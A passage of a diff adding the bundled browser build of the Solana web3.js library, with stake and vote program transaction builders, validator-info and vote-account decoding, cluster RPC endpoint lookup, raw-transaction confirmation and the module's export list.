STAKE_CONFIG_ID, + isSigner: false, + isWritable: false + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }); + } + + /** + * Generate a Transaction that authorizes a new PublicKey as Staker + * or Withdrawer on the Stake account. + */ + static authorize(params) { + const { + stakePubkey, + authorizedPubkey, + newAuthorizedPubkey, + stakeAuthorizationType, + custodianPubkey + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.Authorize; + const data = encodeData(type, { + newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()), + stakeAuthorizationType: stakeAuthorizationType.index + }); + const keys = [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: true + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }]; + if (custodianPubkey) { + keys.push({ + pubkey: custodianPubkey, + isSigner: true, + isWritable: false + }); + } + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a Transaction that authorizes a new PublicKey as Staker + * or Withdrawer on the Stake account. + */ + static authorizeWithSeed(params) { + const { + stakePubkey, + authorityBase, + authoritySeed, + authorityOwner, + newAuthorizedPubkey, + stakeAuthorizationType, + custodianPubkey + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed; + const data = encodeData(type, { + newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()), + stakeAuthorizationType: stakeAuthorizationType.index, + authoritySeed: authoritySeed, + authorityOwner: toBuffer(authorityOwner.toBuffer()) + }); + const keys = [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: authorityBase, + isSigner: true, + isWritable: false + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }]; + if (custodianPubkey) { + keys.push({ + pubkey: custodianPubkey, + isSigner: true, + isWritable: false + }); + } + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } + + /** + * @internal + */ + static splitInstruction(params) { + const { + stakePubkey, + authorizedPubkey, + splitStakePubkey, + lamports + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.Split; + const data = encodeData(type, { + lamports + }); + return new TransactionInstruction({ + keys: [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: splitStakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }); + } + + /** + * Generate a Transaction that splits Stake tokens into another stake account + */ + static split(params, + // Compute the cost of allocating the new stake account in lamports + rentExemptReserve) { + const transaction = new Transaction(); + transaction.add(SystemProgram.createAccount({ + fromPubkey: params.authorizedPubkey, + newAccountPubkey: params.splitStakePubkey, + lamports: rentExemptReserve, + space: this.space, + programId: this.programId + })); + return transaction.add(this.splitInstruction(params)); + } + + /** + * Generate a Transaction that splits Stake tokens into another account + * derived from a base public key and seed + */ + static splitWithSeed(params, + // If this stake account is new, compute the cost of allocating it in lamports + rentExemptReserve) { + const { + stakePubkey, + authorizedPubkey, + splitStakePubkey, + basePubkey, + seed, + lamports + } = params; + const transaction = new Transaction(); + transaction.add(SystemProgram.allocate({ + accountPubkey: splitStakePubkey, + basePubkey, + seed, + space: this.space, + programId: this.programId + })); + if (rentExemptReserve && rentExemptReserve > 0) { + transaction.add(SystemProgram.transfer({ + fromPubkey: params.authorizedPubkey, + toPubkey: splitStakePubkey, + lamports: rentExemptReserve + })); + } + return transaction.add(this.splitInstruction({ + stakePubkey, + authorizedPubkey, + splitStakePubkey, + lamports + })); + } + + /** + * Generate a Transaction that merges Stake accounts. + */ + static merge(params) { + const { + stakePubkey, + sourceStakePubKey, + authorizedPubkey + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.Merge; + const data = encodeData(type); + return new Transaction().add({ + keys: [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: sourceStakePubKey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_STAKE_HISTORY_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }); + } + + /** + * Generate a Transaction that withdraws deactivated Stake tokens. + */ + static withdraw(params) { + const { + stakePubkey, + authorizedPubkey, + toPubkey, + lamports, + custodianPubkey + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.Withdraw; + const data = encodeData(type, { + lamports + }); + const keys = [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: toPubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_STAKE_HISTORY_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }]; + if (custodianPubkey) { + keys.push({ + pubkey: custodianPubkey, + isSigner: true, + isWritable: false + }); + } + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a Transaction that deactivates Stake tokens. + */ + static deactivate(params) { + const { + stakePubkey, + authorizedPubkey + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.Deactivate; + const data = encodeData(type); + return new Transaction().add({ + keys: [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }); + } +} +StakeProgram.programId = new PublicKey('Stake11111111111111111111111111111111111111'); +/** + * Max space of a Stake account + * + * This is generated from the solana-stake-program StakeState struct as + * `StakeStateV2::size_of()`: + * https://docs.rs/solana-stake-program/latest/solana_stake_program/stake_state/enum.StakeStateV2.html + */ +StakeProgram.space = 200; + +/** + * Vote account info + */ +class VoteInit { + /** [0, 100] */ + + constructor(nodePubkey, authorizedVoter, authorizedWithdrawer, commission) { + this.nodePubkey = void 0; + this.authorizedVoter = void 0; + this.authorizedWithdrawer = void 0; + this.commission = void 0; + this.nodePubkey = nodePubkey; + this.authorizedVoter = authorizedVoter; + this.authorizedWithdrawer = authorizedWithdrawer; + this.commission = commission; + } +} + +/** + * Create vote account transaction params + */ + +/** + * InitializeAccount instruction params + */ + +/** + * Authorize instruction params + */ + +/** + * AuthorizeWithSeed instruction params + */ + +/** + * Withdraw from vote account transaction params + */ + +/** + * Update validator identity (node pubkey) vote account instruction params. + */ + +/** + * Vote Instruction class + */ +class VoteInstruction { + /** + * @internal + */ + constructor() {} + + /** + * Decode a vote instruction and retrieve the instruction type. + */ + static decodeInstructionType(instruction) { + this.checkProgramId(instruction.programId); + const instructionTypeLayout = BufferLayout.u32('instruction'); + const typeIndex = instructionTypeLayout.decode(instruction.data); + let type; + for (const [ixType, layout] of Object.entries(VOTE_INSTRUCTION_LAYOUTS)) { + if (layout.index == typeIndex) { + type = ixType; + break; + } + } + if (!type) { + throw new Error('Instruction type incorrect; not a VoteInstruction'); + } + return type; + } + + /** + * Decode an initialize vote instruction and retrieve the instruction params. + */ + static decodeInitializeAccount(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 4); + const { + voteInit + } = decodeData$1(VOTE_INSTRUCTION_LAYOUTS.InitializeAccount, instruction.data); + return { + votePubkey: instruction.keys[0].pubkey, + nodePubkey: instruction.keys[3].pubkey, + voteInit: new VoteInit(new PublicKey(voteInit.nodePubkey), new PublicKey(voteInit.authorizedVoter), new PublicKey(voteInit.authorizedWithdrawer), voteInit.commission) + }; + } + + /** + * Decode an authorize instruction and retrieve the instruction params. + */ + static decodeAuthorize(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + newAuthorized, + voteAuthorizationType + } = decodeData$1(VOTE_INSTRUCTION_LAYOUTS.Authorize, instruction.data); + return { + votePubkey: instruction.keys[0].pubkey, + authorizedPubkey: instruction.keys[2].pubkey, + newAuthorizedPubkey: new PublicKey(newAuthorized), + voteAuthorizationType: { + index: voteAuthorizationType + } + }; + } + + /** + * Decode an authorize instruction and retrieve the instruction params. + */ + static decodeAuthorizeWithSeed(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + voteAuthorizeWithSeedArgs: { + currentAuthorityDerivedKeyOwnerPubkey, + currentAuthorityDerivedKeySeed, + newAuthorized, + voteAuthorizationType + } + } = decodeData$1(VOTE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed, instruction.data); + return { + currentAuthorityDerivedKeyBasePubkey: instruction.keys[2].pubkey, + currentAuthorityDerivedKeyOwnerPubkey: new PublicKey(currentAuthorityDerivedKeyOwnerPubkey), + currentAuthorityDerivedKeySeed: currentAuthorityDerivedKeySeed, + newAuthorizedPubkey: new PublicKey(newAuthorized), + voteAuthorizationType: { + index: voteAuthorizationType + }, + votePubkey: instruction.keys[0].pubkey + }; + } + + /** + * Decode a withdraw instruction and retrieve the instruction params. + */ + static decodeWithdraw(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + lamports + } = decodeData$1(VOTE_INSTRUCTION_LAYOUTS.Withdraw, instruction.data); + return { + votePubkey: instruction.keys[0].pubkey, + authorizedWithdrawerPubkey: instruction.keys[2].pubkey, + lamports, + toPubkey: instruction.keys[1].pubkey + }; + } + + /** + * @internal + */ + static checkProgramId(programId) { + if (!programId.equals(VoteProgram.programId)) { + throw new Error('invalid instruction; programId is not VoteProgram'); + } + } + + /** + * @internal + */ + static checkKeyLength(keys, expectedLength) { + if (keys.length < expectedLength) { + throw new Error(`invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`); + } + } +} + +/** + * An enumeration of valid VoteInstructionType's + */ + +/** @internal */ + +const VOTE_INSTRUCTION_LAYOUTS = Object.freeze({ + InitializeAccount: { + index: 0, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), voteInit()]) + }, + Authorize: { + index: 1, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('newAuthorized'), BufferLayout.u32('voteAuthorizationType')]) + }, + Withdraw: { + index: 3, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports')]) + }, + UpdateValidatorIdentity: { + index: 4, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + AuthorizeWithSeed: { + index: 10, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), voteAuthorizeWithSeedArgs()]) + } +}); + +/** + * VoteAuthorize type + */ + +/** + * An enumeration of valid VoteAuthorization layouts. + */ +const VoteAuthorizationLayout = Object.freeze({ + Voter: { + index: 0 + }, + Withdrawer: { + index: 1 + } +}); + +/** + * Factory class for transactions to interact with the Vote program + */ +class VoteProgram { + /** + * @internal + */ + constructor() {} + + /** + * Public key that identifies the Vote program + */ + + /** + * Generate an Initialize instruction. + */ + static initializeAccount(params) { + const { + votePubkey, + nodePubkey, + voteInit + } = params; + const type = VOTE_INSTRUCTION_LAYOUTS.InitializeAccount; + const data = encodeData(type, { + voteInit: { + nodePubkey: toBuffer(voteInit.nodePubkey.toBuffer()), + authorizedVoter: toBuffer(voteInit.authorizedVoter.toBuffer()), + authorizedWithdrawer: toBuffer(voteInit.authorizedWithdrawer.toBuffer()), + commission: voteInit.commission + } + }); + const instructionData = { + keys: [{ + pubkey: votePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_RENT_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: nodePubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }; + return new TransactionInstruction(instructionData); + } + + /** + * Generate a transaction that creates a new Vote account. + */ + static createAccount(params) { + const transaction = new Transaction(); + transaction.add(SystemProgram.createAccount({ + fromPubkey: params.fromPubkey, + newAccountPubkey: params.votePubkey, + lamports: params.lamports, + space: this.space, + programId: this.programId + })); + return transaction.add(this.initializeAccount({ + votePubkey: params.votePubkey, + nodePubkey: params.voteInit.nodePubkey, + voteInit: params.voteInit + })); + } + + /** + * Generate a transaction that authorizes a new Voter or Withdrawer on the Vote account. + */ + static authorize(params) { + const { + votePubkey, + authorizedPubkey, + newAuthorizedPubkey, + voteAuthorizationType + } = params; + const type = VOTE_INSTRUCTION_LAYOUTS.Authorize; + const data = encodeData(type, { + newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()), + voteAuthorizationType: voteAuthorizationType.index + }); + const keys = [{ + pubkey: votePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }]; + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a transaction that authorizes a new Voter or Withdrawer on the Vote account + * where the current Voter or Withdrawer authority is a derived key. + */ + static authorizeWithSeed(params) { + const { + currentAuthorityDerivedKeyBasePubkey, + currentAuthorityDerivedKeyOwnerPubkey, + currentAuthorityDerivedKeySeed, + newAuthorizedPubkey, + voteAuthorizationType, + votePubkey + } = params; + const type = VOTE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed; + const data = encodeData(type, { + voteAuthorizeWithSeedArgs: { + currentAuthorityDerivedKeyOwnerPubkey: toBuffer(currentAuthorityDerivedKeyOwnerPubkey.toBuffer()), + currentAuthorityDerivedKeySeed: currentAuthorityDerivedKeySeed, + newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()), + voteAuthorizationType: voteAuthorizationType.index + } + }); + const keys = [{ + pubkey: votePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: currentAuthorityDerivedKeyBasePubkey, + isSigner: true, + isWritable: false + }]; + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a transaction to withdraw from a Vote account. + */ + static withdraw(params) { + const { + votePubkey, + authorizedWithdrawerPubkey, + lamports, + toPubkey + } = params; + const type = VOTE_INSTRUCTION_LAYOUTS.Withdraw; + const data = encodeData(type, { + lamports + }); + const keys = [{ + pubkey: votePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: toPubkey, + isSigner: false, + isWritable: true + }, { + pubkey: authorizedWithdrawerPubkey, + isSigner: true, + isWritable: false + }]; + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a transaction to withdraw safely from a Vote account. + * + * This function was created as a safeguard for vote accounts running validators, `safeWithdraw` + * checks that the withdraw amount will not exceed the specified balance while leaving enough left + * to cover rent. If you wish to close the vote account by withdrawing the full amount, call the + * `withdraw` method directly. + */ + static safeWithdraw(params, currentVoteAccountBalance, rentExemptMinimum) { + if (params.lamports > currentVoteAccountBalance - rentExemptMinimum) { + throw new Error('Withdraw will leave vote account with insufficient funds.'); + } + return VoteProgram.withdraw(params); + } + + /** + * Generate a transaction to update the validator identity (node pubkey) of a Vote account. + */ + static updateValidatorIdentity(params) { + const { + votePubkey, + authorizedWithdrawerPubkey, + nodePubkey + } = params; + const type = VOTE_INSTRUCTION_LAYOUTS.UpdateValidatorIdentity; + const data = encodeData(type); + const keys = [{ + pubkey: votePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: nodePubkey, + isSigner: true, + isWritable: false + }, { + pubkey: authorizedWithdrawerPubkey, + isSigner: true, + isWritable: false + }]; + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } +} +VoteProgram.programId = new PublicKey('Vote111111111111111111111111111111111111111'); +/** + * Max space of a Vote account + * + * This is generated from the solana-vote-program VoteState struct as + * `VoteState::size_of()`: + * https://docs.rs/solana-vote-program/1.9.5/solana_vote_program/vote_state/struct.VoteState.html#method.size_of + * + * KEEP IN SYNC WITH `VoteState::size_of()` in https://github.com/solana-labs/solana/blob/a474cb24b9238f5edcc982f65c0b37d4a1046f7e/sdk/program/src/vote/state/mod.rs#L340-L342 + */ +VoteProgram.space = 3762; + +const VALIDATOR_INFO_KEY = new PublicKey('Va1idator1nfo111111111111111111111111111111'); + +/** + * @internal + */ + +/** + * Info used to identity validators. + */ + +const InfoString = type({ + name: string(), + website: optional(string()), + details: optional(string()), + iconUrl: optional(string()), + keybaseUsername: optional(string()) +}); + +/** + * ValidatorInfo class + */ +class ValidatorInfo { + /** + * Construct a valid ValidatorInfo + * + * @param key validator public key + * @param info validator information + */ + constructor(key, info) { + /** + * validator public key + */ + this.key = void 0; + /** + * validator information + */ + this.info = void 0; + this.key = key; + this.info = info; + } + + /** + * Deserialize ValidatorInfo from the config account data. Exactly two config + * keys are required in the data. + * + * @param buffer config account data + * @return null if info was not found + */ + static fromConfigData(buffer) { + let byteArray = [...buffer]; + const configKeyCount = decodeLength(byteArray); + if (configKeyCount !== 2) return null; + const configKeys = []; + for (let i = 0; i < 2; i++) { + const publicKey = new PublicKey(guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH)); + const isSigner = guardedShift(byteArray) === 1; + configKeys.push({ + publicKey, + isSigner + }); + } + if (configKeys[0].publicKey.equals(VALIDATOR_INFO_KEY)) { + if (configKeys[1].isSigner) { + const rawInfo = rustString().decode(Buffer.from(byteArray)); + const info = JSON.parse(rawInfo); + assert$1(info, InfoString); + return new ValidatorInfo(configKeys[1].publicKey, info); + } + } + return null; + } +} + +const VOTE_PROGRAM_ID = new PublicKey('Vote111111111111111111111111111111111111111'); + +/** + * History of how many credits earned by the end of each epoch + */ + +/** + * See https://github.com/solana-labs/solana/blob/8a12ed029cfa38d4a45400916c2463fb82bbec8c/programs/vote_api/src/vote_state.rs#L68-L88 + * + * @internal + */ +const VoteAccountLayout = BufferLayout.struct([publicKey('nodePubkey'), publicKey('authorizedWithdrawer'), BufferLayout.u8('commission'), BufferLayout.nu64(), +// votes.length +BufferLayout.seq(BufferLayout.struct([BufferLayout.nu64('slot'), BufferLayout.u32('confirmationCount')]), BufferLayout.offset(BufferLayout.u32(), -8), 'votes'), BufferLayout.u8('rootSlotValid'), BufferLayout.nu64('rootSlot'), BufferLayout.nu64(), +// authorizedVoters.length +BufferLayout.seq(BufferLayout.struct([BufferLayout.nu64('epoch'), publicKey('authorizedVoter')]), BufferLayout.offset(BufferLayout.u32(), -8), 'authorizedVoters'), BufferLayout.struct([BufferLayout.seq(BufferLayout.struct([publicKey('authorizedPubkey'), BufferLayout.nu64('epochOfLastAuthorizedSwitch'), BufferLayout.nu64('targetEpoch')]), 32, 'buf'), BufferLayout.nu64('idx'), BufferLayout.u8('isEmpty')], 'priorVoters'), BufferLayout.nu64(), +// epochCredits.length +BufferLayout.seq(BufferLayout.struct([BufferLayout.nu64('epoch'), BufferLayout.nu64('credits'), BufferLayout.nu64('prevCredits')]), BufferLayout.offset(BufferLayout.u32(), -8), 'epochCredits'), BufferLayout.struct([BufferLayout.nu64('slot'), BufferLayout.nu64('timestamp')], 'lastTimestamp')]); +/** + * VoteAccount class + */ +class VoteAccount { + /** + * @internal + */ + constructor(args) { + this.nodePubkey = void 0; + this.authorizedWithdrawer = void 0; + this.commission = void 0; + this.rootSlot = void 0; + this.votes = void 0; + this.authorizedVoters = void 0; + this.priorVoters = void 0; + this.epochCredits = void 0; + this.lastTimestamp = void 0; + this.nodePubkey = args.nodePubkey; + this.authorizedWithdrawer = args.authorizedWithdrawer; + this.commission = args.commission; + this.rootSlot = args.rootSlot; + this.votes = args.votes; + this.authorizedVoters = args.authorizedVoters; + this.priorVoters = args.priorVoters; + this.epochCredits = args.epochCredits; + this.lastTimestamp = args.lastTimestamp; + } + + /** + * Deserialize VoteAccount from the account data. + * + * @param buffer account data + * @return VoteAccount + */ + static fromAccountData(buffer) { + const versionOffset = 4; + const va = VoteAccountLayout.decode(toBuffer(buffer), versionOffset); + let rootSlot = va.rootSlot; + if (!va.rootSlotValid) { + rootSlot = null; + } + return new VoteAccount({ + nodePubkey: new PublicKey(va.nodePubkey), + authorizedWithdrawer: new PublicKey(va.authorizedWithdrawer), + commission: va.commission, + votes: va.votes, + rootSlot, + authorizedVoters: va.authorizedVoters.map(parseAuthorizedVoter), + priorVoters: getPriorVoters(va.priorVoters), + epochCredits: va.epochCredits, + lastTimestamp: va.lastTimestamp + }); + } +} +function parseAuthorizedVoter({ + authorizedVoter, + epoch +}) { + return { + epoch, + authorizedVoter: new PublicKey(authorizedVoter) + }; +} +function parsePriorVoters({ + authorizedPubkey, + epochOfLastAuthorizedSwitch, + targetEpoch +}) { + return { + authorizedPubkey: new PublicKey(authorizedPubkey), + epochOfLastAuthorizedSwitch, + targetEpoch + }; +} +function getPriorVoters({ + buf, + idx, + isEmpty +}) { + if (isEmpty) { + return []; + } + return [...buf.slice(idx + 1).map(parsePriorVoters), ...buf.slice(0, idx).map(parsePriorVoters)]; +} + +const endpoint = { + http: { + devnet: 'http://api.devnet.solana.com', + testnet: 'http://api.testnet.solana.com', + 'mainnet-beta': 'http://api.mainnet-beta.solana.com/' + }, + https: { + devnet: 'https://api.devnet.solana.com', + testnet: 'https://api.testnet.solana.com', + 'mainnet-beta': 'https://api.mainnet-beta.solana.com/' + } +}; +/** + * Retrieves the RPC API URL for the specified cluster + * @param {Cluster} [cluster="devnet"] - The cluster name of the RPC API URL to use. Possible options: 'devnet' | 'testnet' | 'mainnet-beta' + * @param {boolean} [tls="http"] - Use TLS when connecting to cluster. + * + * @returns {string} URL string of the RPC endpoint + */ +function clusterApiUrl(cluster, tls) { + const key = tls === false ? 'http' : 'https'; + if (!cluster) { + return endpoint[key]['devnet']; + } + const url = endpoint[key][cluster]; + if (!url) { + throw new Error(`Unknown ${key} cluster: ${cluster}`); + } + return url; +} + +/** + * Send and confirm a raw transaction + * + * If `commitment` option is not specified, defaults to 'max' commitment. + * + * @param {Connection} connection + * @param {Buffer} rawTransaction + * @param {TransactionConfirmationStrategy} confirmationStrategy + * @param {ConfirmOptions} [options] + * @returns {Promise} + */ + +/** + * @deprecated Calling `sendAndConfirmRawTransaction()` without a `confirmationStrategy` + * is no longer supported and will be removed in a future version. + */ +// eslint-disable-next-line no-redeclare + +// eslint-disable-next-line no-redeclare +async function sendAndConfirmRawTransaction(connection, rawTransaction, confirmationStrategyOrConfirmOptions, maybeConfirmOptions) { + let confirmationStrategy; + let options; + if (confirmationStrategyOrConfirmOptions && Object.prototype.hasOwnProperty.call(confirmationStrategyOrConfirmOptions, 'lastValidBlockHeight')) { + confirmationStrategy = confirmationStrategyOrConfirmOptions; + options = maybeConfirmOptions; + } else if (confirmationStrategyOrConfirmOptions && Object.prototype.hasOwnProperty.call(confirmationStrategyOrConfirmOptions, 'nonceValue')) { + confirmationStrategy = confirmationStrategyOrConfirmOptions; + options = maybeConfirmOptions; + } else { + options = confirmationStrategyOrConfirmOptions; + } + const sendOptions = options && { + skipPreflight: options.skipPreflight, + preflightCommitment: options.preflightCommitment || options.commitment, + minContextSlot: options.minContextSlot + }; + const signature = await connection.sendRawTransaction(rawTransaction, sendOptions); + const commitment = options && options.commitment; + const confirmationPromise = confirmationStrategy ? connection.confirmTransaction(confirmationStrategy, commitment) : connection.confirmTransaction(signature, commitment); + const status = (await confirmationPromise).value; + if (status.err) { + if (signature != null) { + throw new SendTransactionError({ + action: sendOptions?.skipPreflight ? 'send' : 'simulate', + signature: signature, + transactionMessage: `Status: (${JSON.stringify(status)})` + }); + } + throw new Error(`Raw transaction ${signature} failed (${JSON.stringify(status)})`); + } + return signature; +} + +/** + * There are 1-billion lamports in one SOL + */ +const LAMPORTS_PER_SOL = 1000000000; + +export { Account, AddressLookupTableAccount, AddressLookupTableInstruction, AddressLookupTableProgram, Authorized, BLOCKHASH_CACHE_TIMEOUT_MS, BPF_LOADER_DEPRECATED_PROGRAM_ID, BPF_LOADER_PROGRAM_ID, BpfLoader, COMPUTE_BUDGET_INSTRUCTION_LAYOUTS, ComputeBudgetInstruction, ComputeBudgetProgram, Connection, Ed25519Program, Enum, EpochSchedule, FeeCalculatorLayout, Keypair, LAMPORTS_PER_SOL, LOOKUP_TABLE_INSTRUCTION_LAYOUTS, Loader, Lockup, MAX_SEED_LENGTH, Message, MessageAccountKeys, MessageV0, NONCE_ACCOUNT_LENGTH, NonceAccount, PACKET_DATA_SIZE, PUBLIC_KEY_LENGTH, PublicKey, SIGNATURE_LENGTH_IN_BYTES, SOLANA_SCHEMA, STAKE_CONFIG_ID, STAKE_INSTRUCTION_LAYOUTS, SYSTEM_INSTRUCTION_LAYOUTS, SYSVAR_CLOCK_PUBKEY, SYSVAR_EPOCH_SCHEDULE_PUBKEY, SYSVAR_INSTRUCTIONS_PUBKEY, SYSVAR_RECENT_BLOCKHASHES_PUBKEY, SYSVAR_RENT_PUBKEY, SYSVAR_REWARDS_PUBKEY, SYSVAR_SLOT_HASHES_PUBKEY, SYSVAR_SLOT_HISTORY_PUBKEY, SYSVAR_STAKE_HISTORY_PUBKEY, Secp256k1Program, SendTransactionError, SolanaJSONRPCError, SolanaJSONRPCErrorCode, StakeAuthorizationLayout, StakeInstruction, StakeProgram, Struct, SystemInstruction, SystemProgram, Transaction, TransactionExpiredBlockheightExceededError, TransactionExpiredNonceInvalidError, TransactionExpiredTimeoutError, TransactionInstruction, TransactionMessage, TransactionStatus, VALIDATOR_INFO_KEY, VERSION_PREFIX_MASK, VOTE_PROGRAM_ID, ValidatorInfo, VersionedMessage, VersionedTransaction, VoteAccount, VoteAuthorizationLayout, VoteInit, VoteInstruction, VoteProgram, clusterApiUrl, sendAndConfirmRawTransaction, sendAndConfirmTransaction }; +//# sourceMappingURL=index.browser.esm.js.map